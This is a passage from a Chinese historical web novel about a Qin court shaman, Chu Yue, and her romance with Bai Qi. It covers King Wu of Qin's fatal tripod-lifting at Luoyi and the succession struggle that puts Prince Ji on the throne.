两人相顾无言,公孙竭的弹劾,如犁铧一样在两人之间,深耕出条分明的界限,白起不知道楚越暗示自己殴打公孙竭的用意,是想借此和自己划清界限,还是什么,如果是前者,那她的承诺,又算什么? 他似乎眼前这个女子骗了,像个愚者一样,被她玩弄股掌之间,欺骗,会摧毁所有信任,现在白起已经不知道,她哪句话是真,哪句话是假。 楚越凝视着白起的眼睛,他的眼睛很黑,一眼望去,很难看到底,漆黑的眼睛,如一汪深潭,吞噬所有情绪,楚越看不清,他眼中神情。 她的确起过欺骗他的心,如果嬴华能活着,她为什么要舍近求远,去求一个可能藏着杀机的未来,可是嬴华还是死了。 楚越想,白起这么聪明,应该会看出来自己在骗他。 该说些什么呢?道歉,还是继续欺骗? 楚越想了想,缓缓朝白起张开了手臂,她凝视着白起的眼睛,朝他张开怀抱,白起望着楚越的瞳眸,良久,缓缓倾倒身体,将头放置在了她的膝盖上,楚越抱住白起的头,俯身在他鬓发上落下一吻。 白起靠在楚越怀中,如释重负的闭上了眼睛。 她的怀抱似乎有一种不知名的魔力,温暖安静,靠在她怀里,似乎一切纷扰,战场的血腥都离他远去。 第一次遇见她的时候,她就在无意识的情况下,抱住了他,原本应该挣开的,因为知道她是女子,可是不知道为什么,他没有挣开她的怀抱,还就这么,安静的睡了过去。 或许是因为他太累了,或许是他见楚越太累,心生不忍,疲倦的人,需要一处支撑,两个人,短暂依偎,在血腥与死亡之间,寻求片刻喘息之机。 楚越轻轻抚摸着白起的头,白起抱紧了楚越的腰,胸中千言万语,在这一瞬化为虚无。 他分明有很多想要问她,关于那个约定,关于嬴华,关于珠珠和嬴和,他想问,她是不是骗了自己,如果是,她从什么时候就开始骗自己,又为什么要欺骗?如果没有,那疑问就更多了。 可她的怀抱那么温暖,充斥着安全感,他便不想再问了。 问了,又如何? 他投入她怀抱那一瞬,就知道,不管答案是什么,他都不在乎,就如同当年在泾河 边,他鼓起勇气,对她唱情歌表白一样,不要紧,都不要紧,他愿意。 白起问过自己的心意,就是愿意。 明知不可为,而为之,哪怕对方是个女公子,自己只是微末小卒,哪怕会受伤,会被欺骗,会被愚弄,他依旧会听从自己内心的声音,一无既往、勇敢表露自己的心意,披荆斩棘,坚持奔向自己所爱。 诙在帐外转来转去,越转越急。 好不容易等到楚越出来,诙道:“君上” 楚越打断他的话,“闭嘴,不想听。” 诙‘啧’了声,一拍脑门,“臣下就知道!” “就算君上不爱听,臣下也要劝谏,君上之所以能成为秦国大司巫,是因为秦公子夫人、秦妇这一身份,君上封君,也有公子华的缘故!” “你闭嘴!”楚越竖眉,“之前我就警告过你,不要耍小聪明,越过本君做决定!” 当日诙提议殴打公孙竭,就摆了楚越一道,他挑的日子,恰好是白起当值的日子,按照他对白起的了解,他肯定会抓楚越去见大王,届时两人公堂上走一遭,谣言、弹劾,不攻自破。 但是诙没有想到,白起居然要自己承担下一切。 楚越走出街巷,才想明白,自己大概被诙算计了,她自然不能让白起承担一切,打都打了,那就再打一顿,于是她故意激怒公孙竭,又暗示白起动手,先将这件事捅破,把责任推出去。 事后,楚越就警告诙,再敢有下次,他就可以滚了。 为她好和架空她,是两码事。 诙垂首,也意识到自己操之过急,“事到如今,我不阻拦君上和白起在一起,但君上,不能改嫁给他。” 说完,诙看了一眼营帐方向,无奈叹口气,这话不该他说的,枕边风这个东西,有时候是要命的。 楚越‘嘶’的吸了口凉气,这是什么话? “臣下是君上的门客,职责使然,自然要为君上考量,若因此得罪他人,也属无奈。君位与白起,孰轻孰重,君上自己掂量吧,臣不再多言。”诙朝楚越一拱手,转身离去。 “你!” 跟她玩铮臣那一套是吧? 楚越一怒之下,怒了一下。 这套还是挺管用的,楚越不得不正视诙提出的问题。 楚越留在前线,对秦军的士气是一种莫大的鼓舞,甘茂悬着的心,也微微放下,因为他看到了武王的决心,不会受到国内人的影响。 白起的伤势稍微好转,又穿上甲胄,奋战在一线,楚越剑还没拿起来,就被一众门客阻拦,“君上不可。” “君上若不听我等谏言,还要我等作甚?”门客们的态度强硬。 楚越挑眉,看这架势,自己若是不听他们的话,还成闭塞耳目的暴君了?! oi!谁是君上啊?! “为人臣者,君忧臣劳,君辱臣死[1],君上不能去,臣去。” 文质彬彬的门客,撸起衣袖,一胳膊腱子肉紧实,他穿上甲胄,提着剑,便替楚越冲上了火线,部分门客投身一线,楚越只能带着剩下的门客奋战于二线,为秦军救治伤员,缝补衣物。 国内嬴荡顶住压力,向宜阳增兵,攻打宜阳的秦军上下众志成城,前仆后继,耗时年余,终于攻破了宜阳,斩首韩军六万。 宜阳一破,通往周王畿的大路,便一望无垠。 嬴荡得知,大喜过望,当即便起驾,要去成周洛邑。 在嬴荡的车驾到达宜阳之前,甘茂将楚越请到了帅帐,帐中捆着个中年将领,不是别人,正是暴鸢。 “阴君想如何处置?” 楚越看向甘茂,大概明白了对方的意思,她想怎么处置,就怎么处置,反正,战场上什么事情都会发生。 这是甘茂对楚越的酬谢,报她在国内声援之恩。 楚越主战的理由,有一条就是当日韩军见死不救之仇,韩军的统帅,就是暴鸢,现在仇敌被俘,甘茂索性做个顺水人情。 再一次相见,战败的死寂,充斥在暴鸢眼中,他跪在地上,面如死灰,“大司巫是来杀在下的吗?既然战败,但求速死。” 楚越拔出剑,冰凉的剑身,倒映女子冰冷的瞳眸,她挥剑,却只砍掉了暴鸢身上的绳索,“不许死,回你的韩国去。” 她高高在上,睥睨地上的败军之将。 “我还记得你当初的话,你说你是为了韩国,既然,你那么在意韩国。” “我要你亲眼看见,你韩军的士卒,战死沙场,成为秦军上升的阶梯,你为之奋斗一生的韩国社稷,化为云烟,韩人的宗庙,焚毁于烈火,你们的九鼎宝器,迁入秦国。” “韩国,会成为秦国的一个郡、一个县,韩人在漫长的岁月之后,忘记自己的身份,成为秦人。” “你不许死,你要活着!你要看着自己毕生的努力,付诸东流,国破家亡。我会写信给韩王,你若敢死,就夷你全族。” 楚越释放了暴鸢,甘茂明白她的意思,准许韩军以粮草玉帛赎回这位将领。 第70章 武王绝膑短暂的掌控了秦国最高权力…… 阳光下,成周洛邑的巍峨古朴的城墙在望,嬴荡有些兴奋的叫停车驾,扶着车前横轼,不住打量眼前王都。秦得宗周故地,成周又唾手可得,曾经孕育出周天地的土壤上,将要缔造出第二个繁荣的王朝。 秦国的大军压境,王城内人心惶惶,王宫因为秦军的到来,气氛压抑。 “咱们,真要到周王畿了。”魏冉望着成周王宫,有些不可思议。 十几岁时站在夕阳下,意气风发手指的方向,十年之后,二十多岁,竟真实现,三人跟在嬴荡身后,面前便是周王宫,天子的居所。 魏冉不可思议的看看白起,又看向楚越,‘嘶’的吸了口气,“你还真说对了!” 楚越笑了,“我可是大司巫!” 周王的使者步履匆匆,打开宫门,最近那人向秦王行礼,而后高声道:“秦王,率臣朝见周王。” 离他不远的一个人闻声,朝内重复道。 如此重复九次,由小臣逐级上传,至卿至君,最后方传到周王耳中,周王站在高台上,对最近的封君道:“宣秦王。” 封君朝下道,“宣秦王。” 如此九次,方传到秦王面前,小臣在前,指引众人入内。 两王相见,嬴荡一点不客气,随便对周王一抱拳,“周王,小子秦王,有礼了。” 大家都是王,谁比谁高贵,周王见嬴荡如此轻慢,脸上已露不悦,他身后大臣立刻站出来道:“秦王无礼!” 大秦喷子楚越,申请出战。 “我秦已经行夏礼,称秦王,天子也赐过文武胙,周王是王,秦王也是王,两王相见,我王为宾,先见过周王,周王却并未以主人身份,向我秦王还礼,我秦王还未计较周王失礼,周王倒先指责我王来了。” 对方反驳道:“秦国虽然称王,但秦人的先祖,是周室册封的诸侯,秦王如何能与周天子并尊?” “周王是要轻视我王吗?那我等秦臣可不答应!”软的不行,那就来点硬的。 他们是打进来的,打进来的就要有打进来的嚣张气焰。 秦剑秦戈的光亮,倒映出周王、周臣一张张黢黑的脸,那周臣显然怒了,开始人身攻击楚越,“你又是何人?周王与秦王面前,岂容你一小小女子置喙。秦王使一介妇人,干预朝政,这就是秦王治下的秦国吗?真教我等,大开 眼界。” “我乃秦国阴君楚越。”楚越自报家门道。 “原来不只是个妇人,还是个诈人,挟鬼神之道,媚上欺下,两代秦王,被这样一个妇人玩弄鼓掌,实在可笑。” “妇人?妇人如何?贵国三太,不是妇人?古公亶父三迁,太姜佐之,方有周人周原之兴。文王兴周,太妊、太姒功不可没。至于周武王英年早逝,王后邑姜临朝,与周、召二公共同辅弼年幼的成王,克殷人之叛,定三叔之乱,才保周室社稷。成王崩,康王年幼,也是邑姜挺身而出,贵国引以为傲的成康之治,难道不是妇人功劳?” 楚越毫无畏惧的看向周王身后那个老古董。 喷子说话! “堂堂周王,一国天子,手下群臣,居然说出这样的话,不察原委,不曾亲眼目睹,便言辞凿凿,笃定在下为诈人,而天子也不能察,轻信臣下,可见周室缘何衰落至此,天命究竟为何转移。”楚越长叹声,故作叹息模样。 对方脸都气黑了,却无言反驳。 周王不得不终止这场闹剧,潦草向嬴荡一还礼,“秦王。” “不知秦王远来洛邑,所为何事?” “特来请天子入秦。”嬴荡道,“我秦国,必定会好生招待天子。” “入秦?”周王冷笑声,“那我以后,岂非就是秦国的傀儡?” “周王要是不愿去,寡人也不强求,但有一件东西,还请周王割爱。” “是何物?” “夏禹九鼎。” 周室众人哗然。 大禹分九州,按照各州州情,制定九等贡赋,九州按大禹之命,缴纳贡金,铸成九鼎。九鼎是九州归一的象征,是天下的象征。 另一位文质彬彬的青年站出来,朝嬴荡一礼,“昔年楚庄王借口讨伐陆浑之戎,陈兵我洛邑南郊,向周室问九鼎之重,秦王可知,我周室如何作答?” 秦王看向身后,楚越站出来答道:“王孙满答曰,‘在德不在鼎[1]’。” 青年道:“正是,夏禹治水,有治天下之德,天下王之,九州奉金,始铸九鼎。夏桀失德,商汤吊民伐罪,于是有鸣条之战,九鼎迁亳。至于文王、武王,商纣暴虐,于是有牧野之战,九鼎又归于周。秦王要迁九鼎,试问秦王有何德要迁鼎?能与夏禹、商汤、文王武王相较吗?” 秦室众人默然,大禹治水,商汤、文王武王都是著名的圣人 楚越深吸口气,反问道:“九鼎在德,那周王,又有何德要强留九鼎啊?” “尔国,先有昭王南败于楚,尽丧锐精锐八师,厉王暴虐、宣王料民太原,尽失民心,再有幽王北败于犬戎,失宗周故地,平王东迁自保,不能恢复社稷,使犬戎蹂躏百姓,后嗣桓王败于郑,天子之威扫地,以至于诸侯并起,五霸迭兴。为王者,上不能敬宗庙,下不能保社稷,政不能安其民,武不能慑诸侯,九鼎在德,那周王有何德?” 她一口气,将周王室的裤子扒了下来。 对方显然也懵了,楚越对周室情况的了解,远超他们的想象,信手拈来,仿佛周室史官。 她明明是秦国人啊! 春秋战国之际,各国均有自己的史官,只记载本国历史,偶尔记载一些别国历史,这些史书,被各国收藏。 一般而言,本国史书只对本国贵族开放,偶尔也会对外国使者、贵族、学者开放,以作交流,但这一时代印刷术尚未出现,竹简沉重,信息传递受限于技术,规模始终有限。 但她不仅知道,还知道一些周王室尽量淡化的历史。 “我秦国,有以战止战之武德,先祖襄公,护送平王东迁,驱逐犬戎、收拾宗周之地,穆公向西‘益国十二,开地千里’,哀公助楚复国,孝公变法,惠文王称王,东制三晋,南抑楚国,威震天下,难道不比周室,更有保存九鼎的资格吗?我王虽不能比三代贤人,但我秦国强于周国啊。” 武德也是德。 九鼎归属有德之人,那秦国不要所有权,只是暂时保存,拥有九鼎一天二十四小时的使用权,将来谁有德,谁来自取,快递也行,但不包邮。 周王无奈,武德都摆在了台面,九鼎,他们是留不住了,“九鼎在宗庙多年,等有德之君,秦君若有迁鼎之德,便自请吧。” 陈列九鼎的大殿,被秦军推开,厚重的大门推开,原本昏暗的殿中,立刻变得光明,阳光下,古朴的九只大鼎,依次陈列开来。这便是当年大禹时,收九州之金,铸造的九鼎,象征着江山社稷的九鼎。 嬴荡十分兴奋,竟然有亲自动手迁鼎之意,他要亲自举起这象征王权的九鼎,向众人证明,天命是降落在他的头上,他会成就不逊色于周武王的王业。 众人赶紧制止,任鄙道:“大王,尊者不涉险,臣愿意为大王迁九鼎归秦,大王安坐即可。”嬴荡抿唇,有些不悦,但紧接着,楚越与甘茂也劝道,他这才不情不愿的打消举鼎的念头。 任鄙上前,想要搬起九鼎,奈何九鼎太重,他费尽全身力气,也只能将九鼎搬离地面,见任鄙搬不起九鼎,大力气乌获、孟说陆续顶上,但他们也没能搬起九鼎。 周室窃窃私语,这些议论,像刀一样刺向嬴荡,嬴荡的脸,沉了下来,看向几位爱臣的眼中已有恼怒,平时一个个力拔千钧,关键时候,给他掉链子。孟说见状,立刻为自己辩解道:“九鼎尊贵,我等卑贱” 话说出口,他才意识到不对,可木已成舟。 甘茂脸都白了,连忙唤来左右,让他们几人合力,速速将九鼎搬走,以免嬴荡意气用事。 但最让人不想看到的画面,还是出现了,嬴荡看了一眼脸上挂着轻蔑笑容,窃窃私语的周室众人,沉声道:“寡人来。” 所有人的心立刻悬了起来,任鄙扑通一声跪倒在地,抱住嬴荡的大腿,“大王不可,九鼎让士卒运回秦国便是,大王千金之躯,不能涉险。” 众人也纷纷下跪,力求嬴荡,“大王不可。” 嬴荡踹开腿上的任鄙,“天命在秦,在寡人!寡人,能举得起九鼎,秦国,能成就王业!” 楚越无奈叹气。 死孩子一点不听劝。 嬴荡在众目睽睽下举起了九鼎,在场众人,无论是周室还是秦臣,都被这一幕震惊,象征着天下的龙文赤鼎,重逾百斤的大鼎,就这么被他举了起来,武德充沛至此的国君,或许真有吞并天下,成就王业的能力。 “大王。”秦国众人叩拜道。 鼎举起了,却并不好放下,龙文赤鼎落地时,一足歪斜,沉重的大鼎,砸在了嬴荡的腿上,众人大惊,“大王!” 嬴荡出事,秦臣乱作一团,还是楚越站出来,冷静指挥众人道:“大王无碍,只是砸到了腿,先送大王回馆驿。”众人搀扶嬴荡回馆驿,医师很快入内,剪开嬴荡的裤管,断裂的骨茬已经刺破皮肤,尖锐暴露在外。 楚越心中一惊,一旁甘茂面色惨白,医师大骇,颤颤巍巍为嬴荡处理伤口。 “君上,大王”医师欲言又止,楚越心中却已经明了,“你要尽力救治大王,知道吗?” “诺。” 嬴荡在周王畿的事情,是无法隐瞒国内太久的,楚越将甘茂叫到一旁,低声道:“但大王的伤势很重,恐怕承受不起舟车劳顿之苦,眼下只能留在周王畿,但大王受伤的消息肯定瞒不住国内” 楚越说的委婉,她一边说,一边试探着眼前甘茂的态度,甘茂的脸色也不好看,整个人身处巨大的惶恐与不安中。 嬴荡出了事,他身为丞相,责无旁贷。 往更坏的方向想一想,假如嬴荡死了。 信赖他的嬴荡死了,而且死在他的眼皮底下,死在他开辟的通三川之路上,回到秦国,会是怎样的命运等待着他呢? 楚越看出甘茂的忧虑,安慰道:“将军莫忧,尊者不涉险,我等已经劝过,大王执意要举鼎,我等也无可奈何,想来惠文后与宗室必会谅解。” 甘茂依旧忧心忡忡,“若真如此便好了。” 王叔嬴疾会放过重创韩国的他吗? “为安定国内,现在只能隐瞒消息,告知国内,大王无碍。但大王的伤势很严重我们必须做好最坏的打算,一旦大王驾崩,国内必定大乱,他国或许会趁我国新旧王位交替,前来攻打。” “如若大王薨逝,便先秘不发丧,将梓宫运回咸阳,待到我国定下新君人选,再行发丧。” 甘茂认为可以,于是两人召来魏冉,命他安排禁军,轮番戍守在秦王宫殿之外,非有诏不得入内。 做完这一切,楚越折返殿内,却听见殿内传来阵幽幽的哭声,她快步上前,却发现这人是辛,她坐在嬴荡的床边,嬴荡握住她的手,辛额头抵着嬴荡的手,泣不成声。 楚越有些懵了。 啊? 但再一想,辛不止一次在她面前夸赞过嬴荡。 “他是一个很威武的大王。” 楚越只当这是一个好武的姑娘,对另一个武夫的惺惺相惜。 见楚越入内,辛立刻擦了眼泪,“君上。” “你先出去,寡人有话和阴君说。” 辛 这么一哭,嬴荡便知道自己的身体情况了,人固有一死,但这么年轻就死了,嬴荡难免不愿,两行清泪沿着他的眼角滑落,可他又不得不接受,强忍悲痛,哽咽问道:“阴君觉得,若寡人死了,王位应该传给谁要好” “大王觉得呢?”楚越问道。 “寡人不知道,寡人没有儿子,只能由寡人的兄弟继承,公子壮、公子稷、公子芾寡人应该将王位传给哪一位兄弟?哪一位兄弟,能继承父王与寡人的遗志,带着秦国,缔造王业?” 生死面前,嬴荡不知为何,非常很冷静,耐心询问着楚越的意见。 “公子稷为国出质,有功于秦国,余下的公子都还年幼,恐怕不能承担的起社稷。” “公子壮呢?”嬴荡问道。 “嬴壮要置我于死地,大王觉得我会让他成为秦王吗?大王若要传位嬴壮,请先杀臣。” “杀你,寡人的王令,还能传出去吗?阴君往宜阳,是为了今日吗?” 楚越不语。 一旦嬴壮继位,她就死定了,所以她当然不能让嬴壮成为秦王,现在戍守在外的,是白起,禁军指挥,是公子稷的舅舅魏冉。大军在甘茂手中,但他毕竟是外臣,遇到这样的事情,也只能和她商议而行。 故而即便嬴荡的王令真是传位嬴壮,楚越也有办法将它改成嬴稷。 谁来做这个秦王,现在是她说了算。 她往宜阳,的确是为了今日。【你现在阅读的是 】 70-80 第71章 新君进入昭襄王时代 “寡人还记得,小时候,姊姊对寡人很好。”他艰难地在衣襟里翻找,摸出一串随身佩戴的虎牙,“当日春蒐,老大夫赠姊姊虎牙,姊姊将它送给了我。” 嬴荡还记得过去的事情 楚越叹口气,谁做事的时候,又真的忘却了前尘呢? “大王始终是秦国的王,想来先王也一定也是这样告诫大王,臣也想不起,到底是从什么时候起的,是大王不再和某一位弟弟特别亲近,还是从大王成为太子开始。”楚越无力苦笑,“为人君者,要驾驭臣下,有些手段,不得不用,我不怨先王,也不怪大王。可是我虽为臣子,也要活下去,也请大王不要怪我。” 他们清楚的记得往事,然后一边缅怀,一边继续坚定朝抉择的方向走去。 嬴荡也苦笑出声,笑着笑着,他忽然剧烈咳嗽起来,大股鲜血,从他喉中溢出,楚越凑近,想将他扶起来,吐出口中淤血,就在她弯腰的那一瞬间,嬴荡忽然用力抓住了楚越,“父王和寡人对不起你你要辅佐新王,辅佐大秦” 他说的是新王,而非任何一位指定的继承人。 每一位掌权者都逃不脱失权的下场,当他失去权柄,说出的话便从金科玉律恢复为寻常的话语,谁来做这个秦王,已经不是他能够决定。 “当然!”楚越肯定道,“只要大秦有臣的容身之地,臣就会留在这里。大秦,毕竟一统天下。” 嬴荡的手,才缓缓松开。 楚越留下辛与宫人照顾嬴荡,命人找来白起,白起身上的甲胄冰凉,铁甲的寒穿过丝麻的衣物,冰凉贴在身前,楚越抱紧了白起的腰,白起先是一怔,而后抱紧了怀中人。 “大王,恐怕要出事。” 白起一惊,握住楚越的肩膀,将她推起,漆黑的双眸对上楚越视线,“你说什么?” “秦国要易主了。” 楚越凝视白起的眼睛,“我不能让嬴壮登上王位,甘茂在,我不好见魏冉,你将这件事告诉他,他会知道怎么做的。” “魏冉?!”白起垂眸,很快想到什么,惊诧望向楚越,“你” “到现在这地步,不进就是死。” “好。” 嬴荡腿上的开放性伤口很快感染,他开始高烧不退,严君嬴疾收到楚越的密信赶来时,他已经昏迷不醒。 “这” 即便是饱经风雨如嬴疾,见到这场面还是不由震动,“大王怎会如此?” “大王已经不好了,兄长,一旦大王宾天,秦国该如何是好?”楚越试探性问道。 嬴疾浑身一震,反应很快:“胡说!大王一定会好起来的。” 他话音未落,便听内里传来阵嘈杂,嬴疾大步入内,宫人内侍乱成一团,慌忙为昏迷的嬴荡擦拭呕吐的鲜血。 “大王!” 嬴荡面色惨白,依旧昏迷。 “大王!”嬴疾担忧唤道。 但嬴荡已经无法再睁开眼睛,嬴疾亲眼目睹,这才相信楚越所说的,大王不好了。 “大王昏迷之前,并未指定继承人,一旦大王有事,则秦国王位空悬,列国恐会趁机来攻,故而我密信兄长前来,商讨立君之事。” 楚越一个人的力量,即便拉上甘茂,也不足以信服整个秦国,但是如果能拉上嬴疾就不一样了,他掌控蓝田大营,既有军功,又是王叔。 “王上尚未离世,谈何立君!”嬴疾避而不谈,斥责楚越道:“你这是大不敬。” “大王昏迷之前,命我务必稳定局势,就算是大不敬,我也要说。赵国在北,虎视眈眈,韩国岂能容失地之患,还有魏国、楚国,东边的齐国,列国都在盯着秦国看!现在不是敬或者不敬的时候。” “即便如此,此事也不该你我做主,而该返回咸阳,由惠文后、宗室做主。” 楚越直言不讳,“兄长不怕晋国的五公子之乱在秦国重演吗?” “齐桓公死,六子争位,二十年间,废公、孝公、昭公、懿公、惠文五公更迭,齐国动荡不安,霸业衰退。我王有多少兄弟?先王有多少兄弟?秦国,有多少的霸业,能留给公子们挥霍?” 嬴疾沉默了。 春秋以来,王位交替往往伴随着血雨腥风,多少霸业,毁于内斗。 秦国,不能走上列国的老路。 “你说怎么办?”嬴疾显然被楚越说动,不得不为秦国的将来着想。 “兄长觉得,诸公子之间,立谁最好?” 嬴疾思索片刻,“都是先王的子嗣,我王的兄弟,立谁都是一样的,你呢?你觉得谁最好?” “支持谁不重要,现在就看选择谁的阻力最小,力量最大。” 选择很多的时候,只能寻找最大公约数。 嬴疾略微思索,“那嬴壮首先不行,你就会反对他,只能从王上的几个弟弟中选择,公子雍是公子壮的同母弟,当然也不行。” 楚越不语,算是默认。 嬴疾继续道:“对宗室而言,诸公子在血缘上都是一样。各有各的好处,也各有各的不好。公子壮年长,国赖长君,但年长的国君,不会重用宗族,会引入外戚、外臣。年少的公子,虽然一时无法担当大任,但这对宗室而言,国君年幼,权柄便在宗室。无论是哪一种,宗室的反对,都不会 特别强烈。” “是。”楚越肯定了嬴疾的话:“宗室的意见,基本可以忽略。” “嬴壮只有公子雍一个弟弟,但芈夫人有三个公子,两位公子反,好过三位公子反。杀两位公子,稳定秦国,好过三位公子死,先王的子嗣不丰,总归要留些情面。” “但有一样。”嬴疾忽然道,“嬴壮的母亲是卫人,卫国依附于魏国,如属国一般,若是惠文后偏向于嬴壮继位,又该如何?” 楚越短暂沉默。 嬴疾所说,便是她最担心的事情。 良久,她道:“我会劝惠后,如果劝不了魏国是外戚,楚国难道就不是外戚吗?芈夫人三子,公子稷为国出质,立有大功,且他是质燕,燕国肯定会支持他继。” 嬴疾深叹口气,“都是秦室公子,何至于此。” 话虽这样说,但决定已经做出,嬴疾秘密派人出使燕国,接回公子稷。 嬴疾忧心忡忡看了一眼病榻上的嬴荡,“我还是希望,你我今日未雨绸缪落空,大王能好起来,如此,秦国方能免却一场手足阋墙的人伦悲剧。” 但这脆弱的希望,还是破碎。 年轻的秦武王嬴荡,死在他二十二岁那年,死在周王畿,他梦中向往之地。 即位之初,他便说:“得游巩洛,死生无恨。” 没想到,居然一语成谶。 楚越与嬴疾、甘茂商议,先秘不发丧,等到梓宫运抵咸阳,商定出新王人选,再行发丧。 嬴荡的棺椁回到咸阳,惠文后闻讯,当即便晕了过去,楚越眼疾手快,扶住她瘫软的身躯,命宫人去请医师,医师将惠文后唤醒,她醒后,猛然抓住了楚越的手,“子越,荡儿走了,我们怎么办?” 和惠文后血脉相连的秦王薨逝,她在秦国至尊的位置,也随之轰然倒塌,新王是谁?她登基,又会怎么对待这位嫡母呢? 无人知晓。 她们的前途,因为嬴荡之死,再度蒙上层阴霾。 楚越展臂,将惠文后拥入怀中,安慰道:“不要担心,有我在。” 惠文后望着楚越坚定的神情,悬着的心,微微放下,紧张褪去,悲伤又如□□般涌上心头,她扑进楚越怀中,呜呜哭出声,“我的儿啊。” “我的子荡。” 嬴荡没有儿子,秦国的王位只能由他的兄弟继承,具体应该由哪一位兄弟继承,是一件需要集体决策的事情。作为惠文王的王后,先王的生母,惠文后的意见十分重要,还有嬴氏宗族与重臣,哪一方的意见都不能忽视。 大家的意见很快就分裂。 有宗室认为,国赖长君,嫡子之下,便是贵妾所出幼子,应该由惠文王的庶长子嬴壮继承秦国国君之位,也有宗室认为,父死子继,兄终弟及,嬴荡无子,应该适用于兄终弟及继承法则。 列国传位,都是年长的兄传给年幼的弟,没有传给兄的前例,故而应该由嬴荡的弟弟继位,有提议公子雍的,也有提议公子芾的,几场大会开下来,除了浪费口水,什么答案也没有得到。 朝堂上争论不休,朝堂下,两派人马各自点兵遣将,积蓄力量,准备关键时刻,给对方致命一击,眼看一场风暴,就要席卷秦国。 拉拢楚越的人,从家门口排到了城东,她是宗室,又是列候,掌控宗庙祭祀祖先神灵,在军中也有一定影响力。楚越通通避而不见,问就是因秦王之死,悲痛欲绝,卧病在床。 燕国收到秦国国书,当即派人护送公子稷回国。 从燕国到秦国,有一段距离,趁着这段时间,楚越入宫,想劝一劝惠文后,谁料她还没开口,惠文后先做起嬴壮的说客。 “公子壮年长,有利于秦国,且他的母亲是卫人,卫国是魏国的属国,他若继位,对秦国、魏国都好。”惠文后看中了公子壮继位对魏国的利益,“只要国家利益在,新王也不会你我怎样。” “公子芾年幼,他若继位,大权势必会落到宗室、外戚手中,宗室还好,可若是楚人掌权,还会有你我的容身之处吗?” 楚越一时语塞,惠文后所说,的确在理,但是楚越不知该怎么告诉她,决定秦国王位继承的因素,其实并不在秦国国内,而在秦国之外的赵国。 嬴壮和嬴芾目前五五、五六开,真动起手来,胜负尚未可知,这也是为什么,双方都在拼命拉拢大臣。 赵武灵王就是天平之外的那一块砝码。 “惠后,现在不是考虑魏国、秦国的时候,而是要考虑自己的时候,我收到消息,赵国已经派兵护送质燕的公子稷归秦,胡服骑射之后,赵国的国力强盛,且占据高地,对秦国威胁很大。公子稷有赵王支持,还有魏冉等人,嬴壮做不了这个秦王,支持他,只会与新君交恶。” “赵国?”惠文后一听,眉头陡然紧缩,“赵国是赵国,他插手秦国的王位交替做什么?秦国的事情,是秦国人自己决定,怎容他赵人置喙,赵国威胁秦国,则秦更该择长君,秦国,不怕他赵国。赵国若是干涉,魏国未必不能干涉。” “赵国已经出兵,秦国若是想平稳过渡,就必须要考虑赵人的意见,嬴壮即便称王,也坐不稳王位。他若称王,焉知公子稷兄弟三人,不会外联赵王、楚王反叛?魏王干涉,7又真会为秦好吗?届时秦国将陷入混战,社稷危矣。” 惠文后摇头,“我是惠文王的王后,先王的母后,我在这秦宫煎熬了多少年,担惊受怕多少年,才有如今的地位,我不甘心。” 见惠文后一意孤行,楚越也无奈,她深吸口气,问惠文后道:“惠后当真要支持公子壮,公子壮要置我于死地,我必定不会支持他,若是惠后要支持公子壮,请恕楚越不能相随。” “子越,当日的事情嬴壮也是奉命而行,你若助嬴壮登基,便是功臣,他也不是那种” “惠后。”楚越打断了惠文后的话,坚定道:“我不会支持嬴壮,不管这件事是谁指使,可嬴壮,的确想踩着我的清誉与性命上位,我向来有仇报仇,有怨报怨。惠后也知道,我派人回告公孙先生的话。” 嬴荡驱逐张仪之后,公孙衍有意二次入秦。 “当时我便说,‘只要我一日在秦国,秦国就容不下公孙先生’,现在这话,也可以放在嬴壮身上,只要我一日在秦国,我就会让他为当年的事情付出代价。我从来没有谋害过王上,也没有诅咒过嬴华。” 她不能接受任何人指责,是她害死了嬴华。 说罢,楚越站起身,对惠文后拜道:“臣告退。” 才出北宫,便有宫人迎上前,对她行礼,“阴君,芈夫人有请。” 到芈夫人居所时,魏冉也在,见楚越来了,两人一时都站了起来,楚越刚要行礼,便被芈夫人一把扶了起来,她抓住楚越手背,难掩心中雀跃,“稷儿的事情我都知道了,多谢阴君。” 芈夫人已经收到了赵国的书信,这一封天平之外的书信,足够扭转现在秦国局面,芈夫人立刻改变策略,改支持幼子公子芾为公子稷。 公子稷归秦,嬴疾再度召集众人,楚越当众宣布先王遗命,“我王在洛邑留有遗命,接公子稷回国,继承君位。” 嬴壮立刻站了出来,大声道:“你说是先王遗命便是先王遗命先王既有遗命,你当时为何不说?” “这当然是怕某些心术不正之人,派出刺客,威胁新王!”楚越毫不畏惧。 嬴疾道:“先王绝膑而死,来不及留下遗诏,唯有遗命,我与阴君,奉先王遗命接稷公子回国。稷公子为国出质三载,于国有大功,燕国,也属于稷公子继位,赵国胡服骑射后,国力强盛,若秦国拒绝赵国拥立之君,恐怕会成为秦赵交恶的借口。” 此言一出,反对声渐渐沉寂。 支持的人不一定需要很多,但反对的人一定要少。 公子稷以绝对压倒性的支持率,成为秦国的新君,众人将他请上王位,按班次立好,肃拜道:“大王。” 嬴壮见大势已去,自己和王位失之交臂,心中十分不甘,他不愿拜公子稷,拂袖而去,惠文后也拒绝接受新王的拜见,风暴没有停止,还在酝酿。 第72章 怎么办她这次真没办法了 天日一日一日热了,白起从军中归来,穿过前厅,直往后院一处僻静地而去,水边树荫下,搭着木架,垂下纱帘重重,帘后女子影影绰绰。 楚越衣着薄纱,随挽发髻,斜靠在一方坐具之上,她一面轻扇手中刀扇,一面笑着回应着不远处边玩水,边和母亲说话的珠珠与嬴和。 远远见白起回来了,楚越挪了下身子,让出身侧一小块空地,白起掀帘而入,在她身边坐下,下一瞬,一阵香风扑鼻而来,楚越坐起来,身子前倾,双臂压在白起腿上,她笑道:“你看珠珠,她可淘气。” 白起本能握住楚越一只手,顺着她另一手指向的方向望去,半大的小姑娘,正专心致志抓着池塘里的鱼,太阳炽烈,也磨不掉她抓鱼的意志力,一张小脸晒得通红。嬴和则狗腿子般举着 片大荷叶,跟在珠珠身后,给姐姐遮阴。 池子的另一边,两个与珠珠年纪相仿的孩子,也正在抓鱼,两边比赛一般,铆足了劲,专心致志抓鱼。白起认战友的遗孀为姊妹,两个孩子于是成了他的亲大外甥。 他望着眼前这其乐融融的一幕,倏尔笑了下,“抓鱼好,折腾鱼,就不折腾你我了。” 四个孩子凑在一起,一天到晚,鸡飞狗跳,白起也是难得见他们这么乖,而非一拥而上,各告各状,非要自己和楚越断案。 珠珠是个脾气很大的孩子,一言不合就让别人滚,滚出她家,两个孩子见自己被驱赶,面子上挂不住,也就真的赌气要走。 真分开了,又舍不得。 于是乎,四个人一起放声大哭…… 要命。 非常要命。 在朝堂上不威自怒的列侯,在军中果断的将军,回到家里,变得犹犹豫豫、瞻前顾后,唯恐自己处事不公,教孩子们不开心。 